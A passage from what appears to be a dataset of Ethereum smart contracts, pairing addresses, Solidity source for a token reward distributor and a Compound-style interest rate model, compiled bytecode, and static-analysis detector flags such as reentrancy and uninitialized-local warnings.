526008602090815260409091208251610a5b92840190610d97565b507fd80364ba2cbb1e827ab8adac9651cdfc27fb7b61c0a95663cb80b82d7636ad2233826040518083600160a060020a0316600160a060020a0316815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610ad4578181015183820152602001610abc565b50505050905090810190601f168015610b015780820380516001836020036101000a031916815260200191505b50935050505060405180910390a150565b60035433600160a060020a03908116911614610b2d57600080fd5b600160a060020a03811615610b65576003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b50565b600060606064361015610b7757fe5b600160a060020a0380861660009081526002602090815260408083203390941683529290522054915082821015610bad57600080fd5b610bbd828463ffffffff610d7516565b600160a060020a038087166000818152600260209081526040808320339095168352938152838220949094559081526001909252902054610c04908463ffffffff610d7516565b600160a060020a038087166000908152600160205260408082209390935590861681522054610c39908463ffffffff610c9716565b600160a060020a0380861660008181526001602090815260409182902094909455805187815290519193928916927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a35050505050565b600082820183811015610ca657fe5b9392505050565b60406044361015610cba57fe5b600160a060020a033316600090815260016020526040902054610ce3908363ffffffff610d7516565b600160a060020a033381166000908152600160205260408082209390935590851681522054610d18908363ffffffff610c9716565b600160a060020a038085166000818152600160209081526040918290209490945580518681529051919333909316927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600082821115610d8157fe5b50900390565b60405161032580610e3083390190565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10610dd857805160ff1916838001178555610e05565b82800160010185558215610e05579182015b82811115610e05578251825591602001919060010190610dea565b50610e11929150610e15565b5090565b61064191905b80821115610e115760008155600101610e1b5600608060405234801561001057600080fd5b5060405160608061032583398101604090815281516020830151919092015142811161003b57600080fd5b60008054600160a060020a03948516600160a060020a03199182161790915560018054939094169216919091179091556002556102a88061007d6000396000f3006080604052600436106100565763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166338af3eed811461005b5780634e71d92d14610099578063b91d4001146100b0575b600080fd5b34801561006757600080fd5b506100706100d7565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b3480156100a557600080fd5b506100ae6100f3565b005b3480156100bc57600080fd5b506100c5610276565b60408051918252519081900360200190f35b60015473ffffffffffffffffffffffffffffffffffffffff1681565b6001546000903373ffffffffffffffffffffffffffffffffffffffff90811691161461011e57600080fd5b60025442101561012d57600080fd5b60008054604080517f70a0823100000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff3081166004830152915191909216926370a0823192602480820193602093909283900390910190829087803b1580156101a557600080fd5b505af11580156101b9573d6000803e3d6000fd5b505050506040513d60208110156101cf57600080fd5b50519050600081116101e057600080fd5b60008054600154604080517fa9059cbb00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff9283166004820152602481018690529051919092169263a9059cbb926044808201939182900301818387803b15801561025b57600080fd5b505af115801561026f573d6000803e3d6000fd5b5050505050565b600254815600a165627a7a72305820598a3c96fb6ee9b691dc670e7e1f3bdc550693ab2e631be4463e96019acb4cdb0029a165627a7a723058208cac1f6eb506e8fef680004b6ab1178be150767a1be79898a90c0869df4def860029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
| 8,491 |
0xb72e4f2d0efbf8c8b7b1d3a0b42146d77e11a822
|
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(
token,
abi.encodeWithSelector(token.transfer.selector, to, value)
);
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(
token,
abi.encodeWithSelector(token.transferFrom.selector, from, to, value)
);
}
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(
token,
abi.encodeWithSelector(token.approve.selector, spender, value)
);
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(
token,
abi.encodeWithSelector(token.approve.selector, spender, newAllowance)
);
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(
value,
"SafeERC20: decreased allowance below zero"
);
_callOptionalReturn(
token,
abi.encodeWithSelector(token.approve.selector, spender, newAllowance)
);
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(
data,
"SafeERC20: low-level call failed"
);
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(
abi.decode(returndata, (bool)),
"SafeERC20: ERC20 operation did not succeed"
);
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
// babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)
function sqrrt(uint256 a) internal pure returns (uint256 c) {
if (a > 3) {
c = a;
uint256 b = add(div(a, 2), 1);
while (b < c) {
c = b;
b = div(add(div(a, b), b), 2);
}
} else if (a != 0) {
c = 1;
}
}
function percentageAmount(uint256 total_, uint8 percentage_)
internal
pure
returns (uint256 percentAmount_)
{
return div(mul(total_, percentage_), 1000);
}
function substractPercentage(uint256 total_, uint8 percentageToSub_)
internal
pure
returns (uint256 result_)
{
return sub(total_, div(mul(total_, percentageToSub_), 1000));
}
function percentageOfTotal(uint256 part_, uint256 total_)
internal
pure
returns (uint256 percent_)
{
return div(mul(part_, 100), total_);
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + (((a % 2) + (b % 2)) / 2);
}
function quadraticPricing(uint256 payment_, uint256 multiplier_)
internal
pure
returns (uint256)
{
return sqrrt(mul(multiplier_, payment_));
}
function bondingCurve(uint256 supply_, uint256 multiplier_)
internal
pure
returns (uint256)
{
return mul(multiplier_, supply_);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{value: amount}("");
require(
success,
"Address: unable to send value, recipient may have reverted"
);
}
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return
functionCallWithValue(
target,
data,
value,
"Address: low-level call with value failed"
);
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(
address(this).balance >= value,
"Address: insufficient balance for call"
);
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(
address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage
) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: weiValue}(
data
);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data)
internal
view
returns (bytes memory)
{
return
functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return
functionDelegateCall(
target,
data,
"Address: low-level delegate call failed"
);
}
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address)
internal
pure
returns (string memory)
{
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = "0";
_addr[1] = "x";
for (uint256 i = 0; i < 20; i++) {
_addr[2 + i * 2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3 + i * 2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
interface IPolicy {
function policy() external view returns (address);
function renouncePolicy() external;
function pushPolicy(address newPolicy_) external;
function pullPolicy() external;
}
contract Policy is IPolicy {
address internal _policy;
address internal _newPolicy;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
_policy = msg.sender;
emit OwnershipTransferred(address(0), _policy);
}
function policy() public view override returns (address) {
return _policy;
}
modifier onlyPolicy() {
require(_policy == msg.sender, "Ownable: caller is not the owner");
_;
}
function renouncePolicy() public virtual override onlyPolicy {
emit OwnershipTransferred(_policy, address(0));
_policy = address(0);
}
function pushPolicy(address newPolicy_) public virtual override onlyPolicy {
require(newPolicy_ != address(0), "Ownable: new owner is the zero address");
_newPolicy = newPolicy_;
}
function pullPolicy() public virtual override {
require(msg.sender == _newPolicy);
emit OwnershipTransferred(_policy, _newPolicy);
_policy = _newPolicy;
}
}
interface ITreasury {
function mintRewards(address _recipient, uint256 _amount) external;
}
contract Distributor is Policy {
using SafeMath for uint256;
using SafeERC20 for IERC20;
/* ====== VARIABLES ====== */
address public immutable LOBI;
address public immutable treasury;
uint256 public immutable epochLength;
uint256 public nextEpochBlock;
mapping(uint256 => Adjust) public adjustments;
/* ====== STRUCTS ====== */
struct Info {
uint256 rate; // in ten-thousandths ( 5000 = 0.5% )
address recipient;
}
Info[] public info;
struct Adjust {
bool add;
uint256 rate;
uint256 target;
}
/* ====== CONSTRUCTOR ====== */
constructor(
address _treasury,
address _lobi,
uint256 _epochLength,
uint256 _nextEpochBlock
) {
require(_treasury != address(0));
treasury = _treasury;
require(_lobi != address(0));
LOBI = _lobi;
epochLength = _epochLength;
nextEpochBlock = _nextEpochBlock;
}
/* ====== PUBLIC FUNCTIONS ====== */
/**
@notice send epoch reward to staking contract
*/
function distribute() external returns (bool) {
if (nextEpochBlock <= block.number) {
nextEpochBlock = nextEpochBlock.add(epochLength); // set next epoch block
// distribute rewards to each recipient
for (uint256 i = 0; i < info.length; i++) {
if (info[i].rate > 0) {
ITreasury(treasury).mintRewards( // mint and send from treasury
info[i].recipient,
nextRewardAt(info[i].rate)
);
adjust(i); // check for adjustment
}
}
return true;
} else {
return false;
}
}
/* ====== INTERNAL FUNCTIONS ====== */
/**
@notice increment reward rate for collector
*/
function adjust(uint256 _index) internal {
Adjust memory adjustment = adjustments[_index];
if (adjustment.rate != 0) {
if (adjustment.add) {
// if rate should increase
info[_index].rate = info[_index].rate.add(adjustment.rate); // raise rate
if (info[_index].rate >= adjustment.target) {
// if target met
adjustments[_index].rate = 0; // turn off adjustment
}
} else {
// if rate should decrease
info[_index].rate = info[_index].rate.sub(adjustment.rate); // lower rate
if (info[_index].rate <= adjustment.target) {
// if target met
adjustments[_index].rate = 0; // turn off adjustment
}
}
}
}
/* ====== VIEW FUNCTIONS ====== */
/**
@notice view function for next reward at given rate
@param _rate uint
@return uint
*/
function nextRewardAt(uint256 _rate) public view returns (uint256) {
return IERC20(LOBI).totalSupply().mul(_rate).div(1000000);
}
/**
@notice view function for next reward for specified address
@param _recipient address
@return uint
*/
function nextRewardFor(address _recipient) public view returns (uint256) {
uint256 reward;
for (uint256 i = 0; i < info.length; i++) {
if (info[i].recipient == _recipient) {
reward = nextRewardAt(info[i].rate);
}
}
return reward;
}
/* ====== POLICY FUNCTIONS ====== */
/**
@notice adds recipient for distributions
@param _recipient address
@param _rewardRate uint
*/
function addRecipient(address _recipient, uint256 _rewardRate)
external
onlyPolicy
{
require(_recipient != address(0));
info.push(Info({recipient: _recipient, rate: _rewardRate}));
}
/**
@notice removes recipient for distributions
@param _index uint
@param _recipient address
*/
function removeRecipient(uint256 _index, address _recipient)
external
onlyPolicy
{
require(_recipient == info[_index].recipient);
info[_index].recipient = address(0);
info[_index].rate = 0;
}
/**
@notice set adjustment info for a collector's reward rate
@param _index uint
@param _add bool
@param _rate uint
@param _target uint
*/
function setAdjustment(
uint256 _index,
bool _add,
uint256 _rate,
uint256 _target
) external onlyPolicy {
adjustments[_index] = Adjust({add: _add, rate: _rate, target: _target});
}
}
|
0x608060405234801561001057600080fd5b50600436106100ff5760003560e01c8063a15ad07711610097578063c9fa8b2a11610066578063c9fa8b2a14610264578063e4fc6b6d14610281578063f79822431461029d578063fe3fbbad146102c9576100ff565b8063a15ad077146101f1578063a4b2398014610217578063a5ffd1971461021f578063bc3b2b1214610227576100ff565b806357d775f8116100d357806357d775f8146101a65780635beede08146101ae5780635db854b0146101b857806361d027b3146101e9576100ff565b8062640c2e146101045780630505c8c91461011e5780632e3405991461014257806336d33f4414610180575b600080fd5b61010c6102f5565b60408051918252519081900360200190f35b6101266102fb565b604080516001600160a01b039092168252519081900360200190f35b61015f6004803603602081101561015857600080fd5b503561030b565b604080519283526001600160a01b0390911660208301528051918290030190f35b61010c6004803603602081101561019657600080fd5b50356001600160a01b0316610342565b61010c6103c5565b6101b66103e9565b005b6101b6600480360360808110156101ce57600080fd5b50803590602081013515159060408101359060600135610461565b6101266104f5565b6101b66004803603602081101561020757600080fd5b50356001600160a01b0316610519565b6101b66105cd565b610126610664565b6102446004803603602081101561023d57600080fd5b5035610688565b604080519315158452602084019290925282820152519081900360600190f35b61010c6004803603602081101561027a57600080fd5b50356106ad565b610289610751565b604080519115158252519081900360200190f35b6101b6600480360360408110156102b357600080fd5b506001600160a01b0381351690602001356108b2565b6101b6600480360360408110156102df57600080fd5b50803590602001356001600160a01b03166109a7565b60025481565b6000546001600160a01b03165b90565b6004818154811061031b57600080fd5b6000918252602090912060029091020180546001909101549091506001600160a01b031682565b60008060005b6004548110156103be57836001600160a01b03166004828154811061036957fe5b60009182526020909120600160029092020101546001600160a01b031614156103b6576103b36004828154811061039c57fe5b9060005260206000209060020201600001546106ad565b91505b600101610348565b5092915050565b7f000000000000000000000000000000000000000000000000000000000000089881565b6001546001600160a01b0316331461040057600080fd5b600154600080546040516001600160a01b0393841693909116917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600154600080546001600160a01b0319166001600160a01b03909216919091179055565b6000546001600160a01b031633146104ae576040805162461bcd60e51b81526020600482018190526024820152600080516020610e9b833981519152604482015290519081900360640190fd5b60408051606081018252931515845260208085019384528482019283526000958652600390529093209151825460ff19169015151782555160018201559051600290910155565b7f000000000000000000000000873ad91fa4f2aa0d557c0919ec3f6c9d240cdd0581565b6000546001600160a01b03163314610566576040805162461bcd60e51b81526020600482018190526024820152600080516020610e9b833981519152604482015290519081900360640190fd5b6001600160a01b0381166105ab5760405162461bcd60e51b8152600401808060200182810382526026815260200180610e546026913960400191505060405180910390fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b0316331461061a576040805162461bcd60e51b81526020600482018190526024820152600080516020610e9b833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b7f000000000000000000000000dec41db0c33f3f6f3cb615449c311ba22d418a8d81565b60036020526000908152604090208054600182015460029092015460ff909116919083565b600061074b620f4240610745847f000000000000000000000000dec41db0c33f3f6f3cb615449c311ba22d418a8d6001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561071357600080fd5b505afa158015610727573d6000803e3d6000fd5b505050506040513d602081101561073d57600080fd5b505190610a94565b90610af4565b92915050565b600043600254116108aa57600254610789907f0000000000000000000000000000000000000000000000000000000000000898610b36565b60025560005b6004548110156108a0576000600482815481106107a857fe5b9060005260206000209060020201600001541115610898577f000000000000000000000000873ad91fa4f2aa0d557c0919ec3f6c9d240cdd056001600160a01b0316636a20de92600483815481106107fc57fe5b906000526020600020906002020160010160009054906101000a90046001600160a01b03166108316004858154811061039c57fe5b6040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050600060405180830381600087803b15801561087757600080fd5b505af115801561088b573d6000803e3d6000fd5b5050505061089881610b90565b60010161078f565b5060019050610308565b506000610308565b6000546001600160a01b031633146108ff576040805162461bcd60e51b81526020600482018190526024820152600080516020610e9b833981519152604482015290519081900360640190fd5b6001600160a01b03821661091257600080fd5b604080518082019091529081526001600160a01b03918216602082019081526004805460018101825560009190915291517f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19b600290930292830155517f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19c90910180546001600160a01b03191691909216179055565b6000546001600160a01b031633146109f4576040805162461bcd60e51b81526020600482018190526024820152600080516020610e9b833981519152604482015290519081900360640190fd5b60048281548110610a0157fe5b60009182526020909120600160029092020101546001600160a01b03828116911614610a2c57600080fd5b600060048381548110610a3b57fe5b906000526020600020906002020160010160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550600060048381548110610a7f57fe5b60009182526020909120600290910201555050565b600082610aa35750600061074b565b82820282848281610ab057fe5b0414610aed5760405162461bcd60e51b8152600401808060200182810382526021815260200180610e7a6021913960400191505060405180910390fd5b9392505050565b6000610aed83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610cf7565b600082820183811015610aed576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b610b98610e30565b506000818152600360209081526040918290208251606081018452815460ff161515815260018201549281018390526002909101549281019290925215610cf357805115610c6c57610c0c816020015160048481548110610bf557fe5b600091825260209091206002909102015490610b36565b60048381548110610c1957fe5b600091825260209091206002909102015560408101516004805484908110610c3d57fe5b90600052602060002090600202016000015410610c67576000828152600360205260408120600101555b610cf3565b610c98816020015160048481548110610c8157fe5b600091825260209091206002909102015490610d99565b60048381548110610ca557fe5b600091825260209091206002909102015560408101516004805484908110610cc957fe5b90600052602060002090600202016000015411610cf3576000828152600360205260408120600101555b5050565b60008183610d835760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610d48578181015183820152602001610d30565b50505050905090810190601f168015610d755780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581610d8f57fe5b0495945050505050565b6000610aed83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525060008184841115610e285760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610d48578181015183820152602001610d30565b505050900390565b60405180606001604052806000151581526020016000815260200160008152509056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f774f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572a2646970667358221220dde7743abbee33ce920e833c5c909f8192790e08e4c0da8543a53c7dfe8f87d164736f6c63430007050033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 8,492 |
0x0f703af1a3f2bf8877132109a02659feead4ab9a
|
/**
*Submitted for verification at Etherscan.io on 2021-10-18
*/
/**
*Submitted for verification at Etherscan.io on 2021-08-26
*/
pragma solidity ^0.5.16;
// Copied from compound/InterestRateModel
/**
* @title DeFilend's InterestRateModel Interface
* @author DeFil
*/
contract InterestRateModel {
/// @notice Indicator that this is an InterestRateModel contract (for inspection)
bool public constant isInterestRateModel = true;
/**
* @notice Calculates the current borrow interest rate per block
* @param cash The total amount of cash the market has
* @param borrows The total amount of borrows the market has outstanding
* @param reserves The total amnount of reserves the market has
* @return The borrow rate per block (as a percentage, and scaled by 1e18)
*/
function getBorrowRate(uint cash, uint borrows, uint reserves) external view returns (uint);
/**
* @notice Calculates the current supply interest rate per block
* @param cash The total amount of cash the market has
* @param borrows The total amount of borrows the market has outstanding
* @param reserves The total amnount of reserves the market has
* @param reserveFactorMantissa The current reserve factor the market has
* @return The supply rate per block (as a percentage, and scaled by 1e18)
*/
function getSupplyRate(uint cash, uint borrows, uint reserves, uint reserveFactorMantissa) external view returns (uint);
}
// From https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/Math.sol
// Subject to the MIT license.
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the addition of two unsigned integers, reverting with custom message on overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, errorMessage);
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on underflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot underflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction underflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on underflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot underflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, errorMessage);
return c;
}
/**
* @dev Returns the integer division of two unsigned integers.
* Reverts on division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers.
* Reverts with custom message on division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// Copied from Compound/WhitePaperInterestRateModel
/**
* @title DeFilend's NormalInterestRateModel Contract
* @author DeFil
* @notice The parameterized model described in section 2.4 of the original Compound Protocol whitepaper
*/
contract NormalInterestRateModel is InterestRateModel {
using SafeMath for uint;
event NewInterestParams(uint baseRatePerBlock, uint multiplierPerBlock);
/**
* @notice The approximate number of blocks per year that is assumed by the interest rate model
*/
uint public constant blocksPerYear = 2102400;
/**
* @notice The multiplier of utilization rate that gives the slope of the interest rate
*/
uint public multiplierPerBlock;
/**
* @notice The base interest rate which is the y-intercept when utilization rate is 0
*/
uint public baseRatePerBlock;
/**
* @notice Construct an interest rate model
* @param baseRatePerYear The approximate target base APR, as a mantissa (scaled by 1e18)
* @param multiplierPerYear The rate of increase in interest rate wrt utilization (scaled by 1e18)
*/
constructor(uint baseRatePerYear, uint multiplierPerYear) public {
baseRatePerBlock = baseRatePerYear.div(blocksPerYear);
multiplierPerBlock = multiplierPerYear.div(blocksPerYear);
emit NewInterestParams(baseRatePerBlock, multiplierPerBlock);
}
/**
* @notice Calculates the utilization rate of the market: `borrows / (cash + borrows - reserves)`
* @param cash The amount of cash in the market
* @param borrows The amount of borrows in the market
* @param reserves The amount of reserves in the market (currently unused)
* @return The utilization rate as a mantissa between [0, 1e18]
*/
function utilizationRate(uint cash, uint borrows, uint reserves) public pure returns (uint) {
// Utilization rate is 0 when there are no borrows
if (borrows == 0) {
return 0;
}
return borrows.mul(1e18).div(cash.add(borrows).sub(reserves));
}
/**
* @notice Calculates the current borrow rate per block, with the error code expected by the market
* @param cash The amount of cash in the market
* @param borrows The amount of borrows in the market
* @param reserves The amount of reserves in the market
* @return The borrow rate percentage per block as a mantissa (scaled by 1e18)
*/
function getBorrowRate(uint cash, uint borrows, uint reserves) public view returns (uint) {
uint ur = utilizationRate(cash, borrows, reserves);
return ur.mul(multiplierPerBlock).div(1e18).add(baseRatePerBlock);
}
/**
* @notice Calculates the current supply rate per block
* @param cash The amount of cash in the market
* @param borrows The amount of borrows in the market
* @param reserves The amount of reserves in the market
* @param reserveFactorMantissa The current reserve factor for the market
* @return The supply rate percentage per block as a mantissa (scaled by 1e18)
*/
